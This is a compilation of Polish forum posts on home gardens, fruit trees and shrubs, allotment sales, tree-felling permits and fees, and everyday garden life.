mialam wtedy 49 lat przenioslam sie wraz z rodzina na wies polozona u stop
babiej gory, mamy tu wybudowany duzy dom ,ogrod pole. i nie zaluje tej decyzji,
nie ma nic piekniejszego jak widok na pola i gory alatem ..te przepiekne zachody
slonca. ten spokoj cisza. mam mala grzadke na ktorej uprawiam wszystkie
jarzynki. mam owocowe drzewa, krzewy. chodze na grzyby, borowki, jezyny,
korzystam z lacznosci ze swiatem za pomoca internetu...a jak bardzo zatesknie za
miejskim zgielkiem...wsiadam w samochod i robie sobie wycieczke do miasta, ale
szybko wracam z powrotem bo co tam robic....

Złośliwość bezinteresowna, a chybiona. Ja się przynajmniej dokształciłam i
wiem, że pomologia to dziedzina wiedzy zajmująca się praktycznymi aspektami
uprawy drzew i krzewów owocowych (chodziło o kongres pomologiczny). Że ogólnie
to dotyczy botaniki (ogrodnictwa akurat niekoniecznie, tym bardziej
warzywnictwa), to wiem, bo poza angielskim "posiadam" w rozmaitym stopniu także
parę innych języków z łaciną i greką włącznie.

Ta nieruchomość figurowała w dokumentach jako łąka. Co kompletnie w niczym nie
zmienia faktu, że wycięcie drzew i krzewów może nastąpić wyłącznie po uzyskaniu
zezwolenia właściwego urzędu. Wyjątek stanowi działka budowlana. Na wszystkich
innych (a więc i łące) wycięcie drzew następuje po uiszczeniu opłaty za każdy
CENTYMETR obwodu pnia mierzonego na wysokości 130 cm od podłoża.Stawka opłat
jest uzależniona od gatunku drzewa lub krzewu.
Wyjątek stanowią; drzewa mające mniej niż 5 lat,drzewa chore stanowiące
zagrożenie, drzewa owocowe i topole gatunków innych niż rodzime pod warunkiem
dokonania nasadzeń kompensacyjnych innymi gatunkami. Wycięcie bez zezwolenia
skutkuje tej zwyżką opłaty. TO DOTYCZY WSZYSTKICH TJ. PRYWATNYCH WŁAŚCICIELI
NIERUCHOMOŚCI TAK SAMO JAK PODMIOTÓW GOSPODARCZYCH.
PANIE PREZYDENCIE PROSZE NIE ROBIC MIESZKAŃCOM WODY Z MÓZGU . fUJ.
Niedowiarków odsyłam na linki poświęcone prawu ochrony przyrody lub środowiska
np. Ekoportal lub strony BIP Gdyni Ta głowa powinna , więc spaść. No cóż.

Ja mam ogród bardzo duży (3,5 ara). Nie uprawiam juz warzyw, bo to się naprawde
nie opłaca. Ziemia licha, robaki żrą co popadnie, a stosować chemiczną ochrone
to juz całkiem bez sensu. Mam dużo krzewów ozdobnych - liściastych, pare
iglaków, drzewa i krzewy owocowe no i byliny. Zawsze jesienią i wiosną
przesadzam,"przemeblowuję" ogród, ale jakos nie mogę doprowadzić go do takiego
stanu jak mi się marzy.

Wycięcie drzew z ogródka przez osoby trzecie.
Spółdzielnia mieszkaniowa wycięła z ogródka przybalkonowego drzewa owocowe i
krzewy ozdobne, winorośl bez wiedzy właściciela.
Czy można złożyć na nią skargę i gdzie?
Zostały zniszczone dobra materialne i cały ekosytem w ogródku.

Spółdzielnia rozumiem jest włascicielem terenu, a ktoś pod swoim balkonem
posadził zieleń.
Jeżeli tak jest, to spółdzielnia miała do tego prawo, bo jest właścicielem
terenu. Chyba, ze ten ktoś ma zgodę spółdzielni (pisemną), że moze posadzić cos
pod balkonem. Wtedy spółdzielnia powinna pismem powiadomić, zeby zainteresowany
usunął zieleń, którą posadził bo cos tam planuje.
Jezeli nie było tych unormowań, to niestety właściciel terenu może robić co
chce.
Do wycinki drzew owocowych, winorośli (niszczy elewacje) i krzewów ozdobnych
nie jest potrzebna żadna zgoda.
Przykro mi o tym pisać, ale w podobnej sytuacji znaleźli sie moi znajomi,
którzy w dobrej wierze zakupili pare chonek, piękne krzewy i posadzli na
terenie społdzielni. Taki stan trwał ok. 6 lat, wiec zieleń była cudowna. Az
pewnego razu podjechał spychacz i wszystko zniszczył, bo przygotowywano teren
pod parking. Nic nie wskurali, choć nawet do prezydenta pisali w tej sprawie.
pozdrawiam

Sprzedam działkę ogrodniczą
Działka ogrodnicza - 320 m kwadratowych, altana murowana 20 m kw. + taras 5 m
kw., 1 pokój z wnęką na kuchnię, strych, pomieszczenie na narzędzia, piwnica
pod pomieszczeniem na narzędzia, kompostownik, światło, studnia, krzewy
ozdobne, drzewa owocowe, powojniki ( ok. 20 gatunków)... Cena do
uzgodnienia..Kontakt na forum lub na maila: cyferka00@gazeta.pl

cyferka00 napisała:

> Działka ogrodnicza - 320 m kwadratowych, altana murowana 20 m kw. + taras 5 m
> kw., 1 pokój z wnęką na kuchnię, strych, pomieszczenie na narzędzia, piwnica
> pod pomieszczeniem na narzędzia, kompostownik, światło, studnia, krzewy
> ozdobne, drzewa owocowe, powojniki ( ok. 20 gatunków)... Cena do
> uzgodnienia..Kontakt na forum lub na maila: cyferka00@gazeta.pl

Taka ładna, czy nie szkoda?

SPRZEDAM DZIAŁKĘ rekreacyjną między Waszyngtona i
Międzynarodową (w ogródkach działkowych, w alejce Irysów).
Na działce stoi mały drewniany domek z piwniczką, jest prąd i ujęcie wody.
Trochę kwiatów, drzewa i krzewy owocowe...
W razie zainteresowania proszę o kontakt na adres a0017@gazeta.pl

Nareszcie w nowym domu!!!! Hurrrrra!!!!!
Wreszcie sie przeprowadzilismy do naszego nowego domu. Jestem taka
szczesliwa. Po tylu miesiacach uzerania sie z robotnikami i dekorowania, mam
to juz wreszcie za soba. A najwazniejsze ze mam swoj wlasny ogrodek i bede
wreszcie mogla realizowac swoja pasje i sadzic kwiatki i zrobic sobie maly
ogrodek warzywny i posadzic kilka drzew i krzewow owocowych. Dzieciaki maja
teraz duza przestrzen do biegania a i ja mam blizej do pracy. Jeszcze tylko
czeka nas parapetowa i juz zupelnie poczuje sie jak u siebie. Pozdrawiam
wszystkich i zarazam swoim szczesciem .

Pamiętaj proszę, że świeżej zieleniny NIE możesz podawać od razu w
dużych ilośćiach. Rób to stopniowo po troszku i jeden rodzj
świeżyzny, jak nie będzie sensacji biegunkowych możesz to pierwsze
podawać w większej ilości i dopiero ociupinkę nowego przysmaku. Zimą
zwierzę trawiło wyłącznie suche jedzenie i organizm musi mieć czas
na przestawienie się na soczysty pokarm. Podczas podjadania świeżych
traw i ziół świniaczek może potrzebować mniej wody do picia, to
normalna reakcja.
I oczywiście pachnące przysmaki muszą pochodzić z czystych
trawników, nie zanieczyszczonych przez psy, samochody czy opryski.
Moje prosię uwielbia poza wymienionymi przez Czarodziejkę - nać
marchwi, liście rzodkiewki, liście kalarepy, liście kalafiora,liście
buraka. Możesz spokojnie podawać liście z drzew i krzewów owocowych
bezpestkowych (dobre są z jabłoni, gruszy, winogrona, agrestu,
porzeczki, truskawki, malin, jeżyn itp a nie wolno poodawać wiści,
czereśni, śliwy, brzoskwini). Z powodzeniem możesz "dobre" liście
ususzyć i zrobić świniaczkowi zapasy na zimę

Z tego wszystkiego schronilam sie w ogrodzie. Slonce, ptaki, zapachy,
sfintyspokoj i zero ludzi.

Podcielam berberysy i inne krzewy.
Wielki krzaczor lawendy oswobodzilam z zechnietych zeszlorocznych kwiatow,
odrywajac u nasady jeden po drugim, jeden po drugim. Pachnialo lawenda, a jakze.
Rosnie mieta - piekne wlochate liscie, zielone na gorze, fioletowe od spodu.
Kwitnie prymulka, rododendron nabrzmial pakami - pierwszy raz od 2 lat.
Bez ma paki.
Drzewa owocowe lada dzien zakwitna.
Zonkile szt. 6 i kremowe tulipany szt. 3 wlozylam do wazonu.

Wieczorem sie skatuje w nowej knajpie w miescie.
W koncu trzeba uczcic skonczenie duzej roboty. I antyuczcic pare innych rzeczy.

Tyle na dzisiaj, koniec raportu ze wsi.

Pozdrawiam, J.

Czwartek, jak to cudnie brzmi
Sroda to wlasciwie dla mnie piatek - ostatni dzien tygodnia w biurze
no i joga w poludnie, ktora przelacza mnie na nizsze obroty. W
czwartek i piatek nie tylko pracuje w domu ale i staram sie na te
dwa dni nie organizowac zebran. Wlasnie wrocilam z (nieco
przedluzonej) przerwy na lunch w ogrodzie, gdzie wysprzatalam
krolikowi zagrode, wypuscilam na godzine kury, podlalam drzewa i
krzewy owocowe, ogrod ziolowy, paprociowisko oraz wszystkie
doniczki, bo zapowiada sie goracy tydzien - dzis 23 stopnie, jutro
25 a przez nastepne 3 dni do 30 stopni. W cieniu, oczywiscie.

Odpoczywam po wczorajszych emocjach - otoz corka dostala sie do
ostatnich dwoch klas najlepszej szkoly panstwowej w Sydney, gdzie
przedtem chodzil jej brat. Teraz w domu maly dramat, bo porzuci
swoja zenska szkole i przeniesie sie do tamtej, ale sama chce (uff).
Na szczescie szkola jest koedukacyjna, blizej domu i corka ma tam
spora grupe przyjaciol, glownie lokalnych dzieciakow, z ktorymi
chodzila albo do podstawowki albo do zenskiej szkoly sredniej, zanim
sie przeniosly. No i dzieci naszych nowych sasiadow tez tam chodza.
Bedzie wesolo. Ale co tam moje domowe problemy w porownaniu z
przezyciami Fed czy Mammai u ktorych rodzina przelewa sie drzwiami,
oknami i telefonem ;o)

Cieszy mnie ze ogrod przydaje sie forumowiczkom do spacerow -
jeszcze gdyby tak ktos byl chetny do pielenia i kopania, ze o
przerzucaniu kompostu za 3 tygodnie nie wspomne... ;oP

Wracam do zarabiania, pozdrawiajac
Luiza-w-Ogrodzie
Forum AUSTRALIA

hasz0 napisał:

> pięknym rynku (z okazji wizyty papieskiej).
>
> To prawda! Bruk ma stronę lica i gorszą po "tylice".
>
> Mnie trzęsie bryczką i podkowy się nie szpotawią.
>
> Na żabach się znam - miałem pieknie ubarwionia w sadzawce ogrodzie
> pośród powojów kwiecia, azalii, berberysów, dereni, jałowców, tawulców,krzewów
> nadobnych japonskich powykręcanych meandralnie, różaneczników,tuji,żarnowców
> wieobarwnych i dziwaczków z kwieciem żółtym i kilkoma czerwonych pąków na
> tymże samym krzaku, kosodrzewiny, modrzewi, wiązów, bukszpanu, świerków
> syberyjskich i sosen kaukaskich,
>
> Są żabki, żaby, ropuchy, slepuchy, lisciołazy, nurzańce błotne, rzekotki,
> pręgówki, rechotki plamiaste i rechotki błoniaste, szklane zabki i galaretowate
>
> żabki, żabuty leśne i żabiatki trawiaste, bezogoniaste żołtobrzuśce
> i ogoniaste brunatnogrzbietowe...
> nie był to nietoperz - gacek ani żaden gargamel, gargantua, bazyliszek itp

ojej Haszu, musisz mieć piękny ogród. Ostatnie przymrozki zniszczyły kwiaty
wielu drzew owocowych, mam nadzieje, że roslinom w Twoim ogrodzie nic się nie
stało. Niech ta żaba rośnie duża i pożytecznie służy.To będzie największe żabsko
minionego 6o-lecia.

)

czarna_owca

Najlepiej posadzic tam jakies drzewa, krzewy ozdobne, albo zrobic plantacje
owocowa - z tego co wiem, to za wszelkie szkody wynikle z potrzeby zbudowania
takiego czegos oraz za to, ze to cos bedzie w ogole przechodzilo przez ta
dzialke nalezy sie odszkodowanie. Przynajmniej podczas ciagniecia linii
telefonicznych jest taka procedura, wiec tutaj tez tak bedzie, czyli mozna
dostac troche grosza :)

przepisy dot. wycinki drzew
Nie wiem, jak się to ma do przepisów o drogach dojazdowych, ale generalnie
kwestie wycinki drzew z terenu nieruchomości reguluje ustawa z dnia 16
października 1991r. o ochronie przyrody (Dz. U. Nr 99 poz. 1079 ze zmianami).
Trzeba skierować do Gminy podanie, w dziale obsługi mieszkańców pewnie powiedzą
Ci jakie informacje są wymagane (gatunek drzewa, obwód na bodajże 120 cm
wyskości itp.) oraz dlaczego chcesz je wyciąć. Dotyczy to nawet drzew
obumarłych, zagrażających bezpieczeństwu oraz drzew kolidujących z planowaną
inwestycją.
Z tego co pamiętam (ale lepiej sprawdź), nie trezba pozowleń na drzewa i krzewy
owocowe oraz na drzewa młodsze niż 5 lat. Tylko z tymi owocowymi trzeba uważać
i sprawdzić dokładnie, bo na niektóre nietypowe tez trzeba mieć pozowlenie (np.
na morwę trzeba).

Koszt wydanie pozwolenia u mnie w gminie jednego dużego drzewa (bo to różnie
może być) to dwadzieścia parę złoty opłaty skarbowej + zobowiązanie do
posadzenia 5 drzew nieowocowych (na własnej działce lub na terenie wskazanym
przez Gminę).

Pamiętaj, że kara za usunięcie drzewa bez pozowlenia może być wysoka.

Pozdrawiam
zielony_listek

Wiadomość z maja, z rzepy, ceny pod warunkiem uzyskania zgody na wycięcie.
Pozwolenie na budowę nie jest równoznaczne ze zgodą na wycięcie. Kara jest
wielokrotnością, bezkarne są drzewa owocowe i poniżej pięcio-letnie:

Ile za usunięcie drzewa
Opłaty za wycięcie drzew w 2006 r. wynoszą za 1 cm obwodu pnia:

> 11,37 zł np. za topolę, klon jesionolistny, wierzbę, czeremchę,

> 30,91 zł np. za kasztanowiec, morwę, jesion, daglezję,

> 75,19 zł np. za dąb, buk, grab, lipę, klon, sosnę, świerk,

> 283,66 zł np. za jodłę, magnolię, cisa, miłorząb.

Stosuje się też dodatkowe współczynniki zależne od obwodu pnia, najwyższe
(12,96) dla obwodu powyżej 700 cm.

Opłata za usunięcie 1 mkw. krzewów to 210,12 zł.

uporządkowanie terenu przed budową
jak przygotować działke do budowy domu

Witajcie na działce na której będziemy budować dom rośnie mnóstwo
starych drzewek owocowych, jakieś krzewy owocowe które trzeba w
większości wyciąć , napiszcie czy wystarczy wyciąć drzewka przy
ziemi czy trzeba z korzeniami wykopać jak myślicie czy do takiej
roboty wynająć ekipe czy laik mający sprzęt i troche czasu może to
zrobić sam? co do innych drzew to zostawiamy bo rosną na granicy
działki i trzeba na nie pozwolenie to wiem .
czy moge sobie sama bez pozwolenia przywieźć wywrotke ziemi żeby
wyrównać troche teren albo na skalniak?

bakczysaraj napisał:

> czy to juz dobry moment na przycięcie śliw? chcę je także pomalować na biało..
>
Cięcie śliw i moreli wykonujemy latem po zbiorze owoców. Może warto nabyć za 5
zł. "Sztukę cięcia drzew i krzewów owocowych" Augustyna Miki? :-)
Bielenie drzew owocowych (pni i ew. grubszych gałęzi) wykonuje się już na
początku grudnia.
Enlilu

Parę lat temu kupiliśmy pole.Prawie 5h.Większość dzierżawimy,ale spory kawałek
zostawiliśmy sobie do zagospodarowania.Podobnie jak Ty,bywamy tam rzadko,ale
jednak coś udało się posadzić.Muszą to być rośliny rosnące naturalnie na tym
obszarze,takie które same sobie poradzą,których nie trzeba
podlewać,ciąć,pryskać itp.
Radziła bym Ci
1)całość przekopać czy też zaorać,potem wysiać jakieś rośliny na zielony nawóz
albo od razu łąkową trawę.Można też założyć łąkę kwietną.
2).Na obrzeżach posadzić krzewy żywopłotowe rosnące naturalnie i nie wymagające
przycinania,np.dziką różę,głóg,jaśminowiec,forsycje.W żywopłocie można też
posadzić większe drzewa,jarzębiny,brzozy,klon-wszystko pospolite,nie w
odmianach.
3).Posadzić drzewa owocowe,odporne odmiany,pamiętając,że o nie trzeba jednak
trochę zadbać (ale kilka razy w roku wystarczy,jeśli nie zależy Ci na wielkiej
ilości owoców)
Z krzewów owocowych same dobrze radzą sobie maliny i jeżyny,tylko nie można im
pozwolić za bardzo się rozłazić.
Grządki raczej się nie sprawdzą,wszystko zarośnie.

tram_ktos napisał:

> Do poczytania
> O naszych styczniowych mrozach.
>
A może pomógłbyś mi znależć charekterystykę pogody w dniach 20 - 25 kwietnia
2005 roku kiedy w Polsce wystąpiła fala silnych przymrozków, które spowodowały
m.in. uszkodzenia mrozowe drzew i krzewów owocowych.
Enlilu

Wszystko zalezy od oczekiwan. Ja chce kupic jedna ksiazke gdzie znajde wszystko
o rabarbarze, porzeczkach,drzewkach owocowych, tulipanach czy innych kwiatach i
chce zaplacic przyzwoita cene. Mnie nie interesuja ksiazki kazdy gatunek
krzewow, drzew, czy kwiatow w oddzielnej ksiazce i ZA ODDZIELNA WYSOKA CENE. To
jest zwykle naciaganie ludzi.

Dobry podręcznik o cięciu drzew owocowych? I inne
Jak w temacie, polecicie coś?

Ostatnio przeglądałam "Cięcie drzew i krzewów owocowych według gatunków" czy
cos w tym stylu, ale wydał mi się jakiś taki pobieżny i m.in. nic w nim nie
było o wiśniach.
Chciałabym wiedzieć sporo, m.in. o wyprowadzaniu różnych form drzewek (pienna,
kotłowa). Tłumaczenie najlepiej metoda łopatologiczną, z rysunkami poglądowymi.
I przy okazji - czy jak się kupuje drzewko, to juz trzeba miec wybraną formę,
czy można ją później zmienić przez odpowiednie cięcie? Ja raczej lubię formy z
wyższą koroną, więc jak kupię np. wisienkę z gałęziami od 0,5 m (mam wrażenie,
ze takich jest najwięcej) to czy bedę mogła te dolne gałęzie wyciąć, zeby
podnieść poziom korony?
Pan Jerzy sporo pisał o cięciu starszych drzewek, ale o młodych niewiele. Więc
proszę o jakiś komentarz, jeśli się uda.

I jezcze jedno, jeśli pozwolicie...
Jak poznać w jakim wieku jest kupowane drzewko? Czy roczny okulant to taki
patyk bez rozgałęzień, czy właśnie rozgałęziony?

witam.Kiedyś miałam dużo tego robactwa na działce.Ktoś mi powiedział, że nie
lubią kwiatów aksamitki -tzw.turki. Miałam i mam do dzisiaj po kilkadziesiąt
sztuk tych kwiatów /wysokie i niskie/ powsadzane w różnych miejscach, a
szczególnie przy drzewach owocowych i krzewach - razem z nasturcją. Muszę
przyznać, że jest ich teraz mało - gdzieniegdzie. Można wypróbować w przyszłym
roku, bo teraz chyba już za późno.Dodam jeszcze,że przekwinięte turki używam
jako ochronę przed mrozami i przykrywam nimi byliny i "otulam" krzewy - może
dlatego mam tak mało robaków- obym tylko nie pochwaliła się w złą godzinę. I
jeszcze,do przekopywanej ziemi - mam piasek- dodaję poszatkowane turki.
Pozdrawiam

Czy ktos z Was ma tez takie problemy?
Od dwu lat probuje zagospodarowac swoj ogrod. Posadzilam mnostwo drzew
owocowych i ozdobnych oraz roznych krzewow. Spieszylam sie gdyz chcialam aby
wszystko zaczelo rosnac jak najszybciej. Ciagle mam problem, ze ktoras z
moich sadzonek nie znajduje sie we wlasciwym miejscu wiec przenosze i
przesadzam. Wiem,ze to nie sluzy dobrze krzakom czy kwiatom ale ciagle mnie
cos nie pasuje, nie znajduje sie we wlasciwym miejscu. Czy ktos z Was mial
podobne problemy?

Drzewa na rabacie z krzewami
Mam niewielką ilość krzewów które rosły w trawniku.Usunęłam darń i utworzyłam
rabatę.Obok rosną trzy drzewka owocowe.Czy ze względu na łatwiejsze koszenie
trawnika (przy koszeniu muszę unosić gałęzie do góry)można te drzewka włączyć
w rabatę?Co o tym sądzicie.Jeśli tak,to co pod nimi posadzić.Proszę o propozycje.

młode krzewy
Mam pytanie bo jestem zielona w sprawach ogrodniczych :)
W zeszłym roku posadziłam kilka krzewów (berberys, machonia,
wejgelia, jaśminowiec,irga, rododendron, magnolie) i są to małe
krzaczki i teraz nie wiem czy mam je przycinać czy zostawić, żeby
sobie rosły? Jeśli ciąć to jak i ile i które?
Ten sam problem mam z drzewami owocowymi, które słabo u mnie rosną
już drugi rok, raz je przycinałam w zeszłym roku, ale nie wiem czy
powinnam je ciąć i jak czy też zostawić w spokoju?
Acha i czy po cięciu czymś smarować łodyżki czy nie?
Doradzcie nowicjuszce w temacie, proszę nie ganić za niewiedzę :)

Gość portalu: aa napisał(a):

> Ubezpieczenie upraw NIE JEST obowiązkowe. Nie ma obowiązku prawnego.
> Tylko OC jest obowiązkowe.

Od 1 lipca 2008 r. rolnik, który uzyskał płatności bezpośrednie do gruntów rolnych w rozumieniu przepisów o płatnościach do gruntów rolnych i oddzielnej płatności cukrowej ma obowiązek ubezpieczenia co najmniej 50% powierzchni upraw. Rolnik ma zatem obowiązek zawarcia umowy ubezpieczenia z wybranym zakładem ubezpieczeń, który zawarł z ministrem właściwym do spraw rolnictwa umowę w sprawie dopłat, albo innym wykonującym działalność ubezpieczeniową w zakresie ubezpieczenia upraw zbóż, kukurydzy, rzepaku, rzepiku, chmielu, tytoniu, warzyw gruntowych, drzew i krzewów owocowych, truskawek, ziemniaków, buraków cukrowych lub roślin strączkowych, od zasiewu lub wysadzenia do ich zbioru, od ryzyka wystąpienia szkód spowodowanych przez powódź, grad, suszę, ujemne skutki przezimowania oraz przymrozki wiosenne.

Rolnik, który nie spełni obowiązku zawarcia umowy ubezpieczenia obowiązkowego, tj. ubezpieczenia co najmniej 50% powierzchni upraw, obowiązany będzie do wniesienia opłaty za niespełnienie tego obowiązku.

www.bip.minrol.gov.pl/strona/DesktopDefault.aspx?TabOrgId=1698&LangId=0

Uwielbiam mieszkania na poddaszu ze skosami , dachowymi oknami itp.
Poddasze było ulubionym miejscem zabaw w moim domu:)
Lubię też ogrody, dzikie i zapuszczone.....w takich trawach buszowałam latem, a
dziś ozdobne krzewy, rabatki, skalniaki.... zniknęły stare drzewa owocowe i
gąszcz traw pod nimi, ech......

kendo napisała:

> sloo,
> ale macie juz zielono i nawet krzewy forsycji kwitna....
> czeakc ,jak tylko owocowe drzewa zakwitna bedzie przepiekny widok.

tak,robi sie piekniej,weselej
w sobote wyjezdzamy na wies wiec i tam sie napatrze na zielone zielone ponoc uspokajajace

Moja jedna z cór tyz zachorzała na takom dacze i mo drzewianom, jyj mąż som
syćko robiył, mo złote rącki, fajnom działecke se kupiyli, posioli trowe, las
przy niyj , następnim działke dokupiyli coby sie odgrodzić od sśsiadów i na
kozdom sobote, niedziele tam jadom, majom syćkie wygody, telefon, nawet kompa,
tam końcy robote, jak trza. a dzieciska majom wolność. Sami zrobiyli se
jachcik, jeziora niedalyko i pływajom. i na dwók domak trza porządki robić,
hehe. Barz fajnie majom. Drzewo, ganki, gril, syćko majom grzyby, ryby pod
nosem.A co sie narobiom koło tyj chałupki , to ik. Ni majom casu na zwade,
hehe... Jo tyz mom działke pracowniczom 400 m2, hale na niyj ni ma nic.
Uprawki, krzewy i drzewa owocowe, rabaty kwiatowe i...grzebanina. Poszłam
dzisiaj, może mnie nie zmoże ...styrałam sie zdrowo i juz. Cas na siocie. Hej!

Działka ma 450m2 po obrzeżach działki same drzewa owocowe i parę krzewów.Altanka
murowana z prądem, pokoik,kuchenka i wc.to za 3500zł+opłaty tak jak na
wszystkich ROD-ach.(z tym że wodę do domku mąż sam doprowadzał)No ale z każdym
rokiem coś tam dochodzi,wybudowaliśmy grilla takiego ze stołem roboczym,a w
pomieszczeniu gdzie jest wc(większe od kuchenki) chcę mieć taki mały
natrysk,przesiadujemy latem często i fajnie by było się myć pod natryskiem(jak
do tąd jesteśmy w erze epoki kamienia łupanego hihihi myjemy się w misce) Podam
swoje gg gdybyś chciała o coś jeszcze spytać<4150281>No a jeśli chodzi o
wielkość działek to różnie od 200m2 do 500 bynajmniej w mojej okolicy.Pozdrawiam
Anna

Jak zauważono powyżej zwabić można "na chatę" i "na michę". Chata to wspomniane krzewy, ale też budki lęgowe, które można rozmieścić w różnych punktach. Budki można zrobić samemu albo kupić gotowe (bywają w centrach ogrodniczych). Micha to wspomniane krzewy owocowe, ale też owady, dla których w kącie ogrodu można zostawić stertę gałęzi,a na drzewie albo pod okapem powiesić wiązkę pustej w środku trzciny albo bambusa. A jak się uhodują jakieś bardziej tłuste robale, to może oprócz ptactwa i jakiś jeż się skusi... Żeby owadów nie wywiewało, warto posadzić żywopłot - to też dodatkowe miejsce na ptasie gniazda. Latem pamiętaj o wodzie - jak nie masz oczka wodnego, to stawiaj jakieś naczynie z systematycznie zmienianą wodą. Oprócz wodopoju to także tzw kompiółka, w krórej ptaki uwielbiają się moczyć.

Nudne,domowe prace czekaja a ja po powrocie z podrózy muszę ...no własnie wciąż
cos musze...
Kupilismy kawalek ziemi i trzeba ją zagospodarowac czyli odchwaszczac,wyzbierac
kamienie i nauczyć sie wielu rzeczy czyli jak posiac trawe ,jaka kosiarka będzie
najbardziej ekonomiczna jakie krzewy,drzewa owocowe czy byliny posadzic.Gdzie co
kupić itp.
Jako ta co siedzi w domu zostałam zarzucona zadaniami!

Wszystkie weekendy spedzamy więc na "polu".Przy okazji można sie przekonac co to
ból kręgosłupa.
Z radoscią czekam na sobotę...posadzę cyprysiki.

ja mam od maja zeszlego roku. jest cudna!!!była strasznei zaniedbana bo nikt jej
nie uprawiał ponad 5 lat.ale powoli ją zagospodarowuję. jest super bo jest
bardzo duża jak na działke, ma ponad 800m2, rosną na niej strae drzewa owocowe i
krzewy, mamy swoją choinkę która przed świętami ubrałyśmy z dziewczynkami .
dzieki tym drzewom zaczęłam robic przetwory i nalewki (gruszkowa, jezynowa,
malinowa, śliwkowa i morelowa - mniam)
my nie mieszkamy w bloku ale w kamienicy w śródmieściu i słabo u nas z
podwórkiem. a wsiadamy w samochód i za 3 min jesteśmy na działeczce. polecam
wszystkim

Polska jest państwem prawa, tylko trzeba pilnować
Ustawa z dnia 16 kwietnia 2004 r. o ochronie przyrody / Dz.U.Nr 92,
poz. 880/;

Ustawa z dnia 16 listopada 2006r. o opłacie skarbowej (Dz.U. z
2006r. Nr 225 poz. 1635 z późn. zm);

Obwieszczenie Ministra Środowiska z dnia 12 października 2006r. w
sprawie stawek opłat za usunięcie drzew i krzewów oraz kar za
zniszczenie zieleni na rok 2007 /M.P. Nr 73, poz. 733/;

Kodeks postępowania administracyjnego z 14 czerwca 1960 r. /tekst
jednolity z 1980r. Dz.U.Nr 98, poz. 1071 ze zm./;

xxxxxxxxxxxxx
1. Decyzję o wycince wydaje się po przeprowadzeniu wizji lokalnej w
terenie z udziałem przedstawiciela Urzędu Gminy oraz stron
biorących udział w postępowaniu.

2. Wycinka drzew i krzewów może nastąpić po terminie, w którym
niniejsza decyzja stała się prawomocna.

3. W czasie okresu lęgowego ptaków nie należy usuwać drzew, na
których znajduje się ich miejsce lęgowe.

4. W przypadku braku kompletu wymaganych dokumentów wnioskodawca
zostanie wezwany do ich uzupełnienia i złożenia w sekretariacie
Urzędu Gminy.

5. Nie wymaga się zezwolenia na usuwanie drzew/krzewów (art. 83 ust
6):
1) w lasach;
2) owocowych, z wyłączeniem rosnących na terenie nieruchomości
wpisanej do rejestru zabytków oraz w granicach parku narodowego lub
rezerwatu przyrody - na obszarach nieobjętych

luiza-w-ogrodzie napisała:

Wlasnie zauwazylem jak wspanialomyslnie (zeby nie znudzic czytelnika) nie
wdajesz sie w szczegoly.
A to ich wlasnie wszyscy lakniemy! Zadam szczegolow, zwlaszcza pikantnych!

> Bez wdawania sie w szczegoly: oproznilam dwie komory kompostownika,
> polowe kompostu wrzucilam pod paprocie, druga polowa wypelnilam row
> odplywowy zakopujac dziurkowana rure podlaczona do zbiornikow
> deszczowki (na jego czterometrowej dlugosci wsadze zima maliny).
> Wyczyscilismy z Buszmenem kurnik a jego zawartosc tez poszla do rowu
> odplywowego. Rowek bedzie przedluzony tworzac system tzw. swales -
> nie wiem, jak to brzmi po polsku, ale chodzi o utrzymujace wilgoc
> rowy wypelnione materialem organicznym, w ktorych mozna sadzic
> rosliny wymagajace stalej wilgotnosci, warzywa, krzewy i drzewa
> owocowe. Takie systemy promuje permakultura a stosuje sie je nawet
> na czystym piasku, np. w pustynnych kibucach Izraela.
>
> Co jeszcze? Szalotka, szalwia i kolendra zostaly posadzone a
> pietruszka posiana w nakompostowanym ogrodku ziolowym. Czas zebrac
> sie w sobie i wreszcie posadzic drzewa i krzewy, ktorymi zapelnie
> polowe gornego trawnika. Mam nadzieje ze zrobimy to w przyszly
> weekend jesli dopisze pogoda i nie bedziemy za bardzo sponiewierani
> po sobotnim weselu.
>
> Pozdrawiam z biura, patrzac na sloneczny las za oknem. Bedzie
> cieplo, bazylia podrosnie, zrobie znowu ze trzy litry pesto...
> Luiza-w-Ogrodzie
> ForumAUSTRALIA

Sprzedam działkę "POD" Białe Błota - Drzewce
Sprzedam działkę "POD" BIAŁE BŁOTA - DRZEWCE

Działka rekreacyjna (Pracowniczy Ogród Działkowy „Drzewce”) o powierzchni 470 m2; położona w kompleksie działek z całoroczną ochroną; na skraju lasu niedaleko Kanału Bydgoskiego; w odległości 10 km od Bydgoszczy; z murowanym domkiem letniskowym o powierzchni 35 m2.
Media: prąd, woda.
Domek: 2 pokoje, kuchnia, łazienka, połowa domku podpiwniczona.
Działka zagospodarowana: drzewa i krzewy owocowe, iglaki, trawnik, kwiaty.

Cena: 30 000 zł

Kontakt:
tel. 504 54 86 97
tel. 600 46 22 66

Działka jest w Międzybrodziu Bialskim, bardzo ładnie zagospodarowana, budowlana;
można wybudować dom w przyszłości jest miejsce; dorodne drzewa owocowe i
iglaste; krzewy, oczko wodne; ogrodzona; dom mały drewniany, ale całoroczny,
ocieplony wełną; jest kominek; budowała go dobra firma - takie co idą na rynek
niemiecki i do Francji = tyle tylko, że my użytkowaliśmy go latem. Dojazd do
działki asfalt; jest kanalizacja; woda z własnego ujęcia - studnia; 1 km od
centrum Międzybrodzia. Proszę podać jakiś adres mailowy to mogę podesłać zdjęcia
i mówić o cenie. Pozdrawiam!

Wybieram wege
A ja, mimo wszystko wybieram wege :)

Zabijanie, męczenie, zjadanie zwierząt powoduje złe konsekwencje w psychice człowieka, w psychice społeczeństwa, w atmosferze planety.
Co dajesz - wraca ;)

Nawet, jeśli wegetarianizm w sposób minimalny wpływałby na ograniczenie negatywnych zmian klimatycznych - warto go uwzględnić w planach ratowania Ziemi.

Poza tym, w kwestii efektu niedobrego globalnego ocieplenia: Więcej róbmy praktycznie, a mniej teoretyzujmy.

- sadzić drzewa i wysokie (owocowe) krzewy
- stosować odnawialne (ekologiczne) źródła energii
- ograniczać emisję wszelkich zanieczyszczeń
- współpracować, a nie przekomarzać się i szanować wszelkie życie

Ja startuję z tym!

Ja też mam ogródek:-). Stworzyliśmy go od podstaw za domem, z czego jesteśmy
dumni:-). Mam warzywa (także w szklarni), parę drzew i krzewów owocowych i
kwiaty. Pochodzę z ogrodniczej rodziny, dziadek - ogrodnik, szkółkarz, ojciec -
rolnik, ogrodnik. Można powiedzieć, że mam to w genach:-).

Nawożenie kompostem.
Mam sporo kompostu jak właściwie ten kompost wykorzystywać w przypadku krzewów
i drzew owocowych. Jak to się praktycznie robi.Np przy krzewach obok w koło
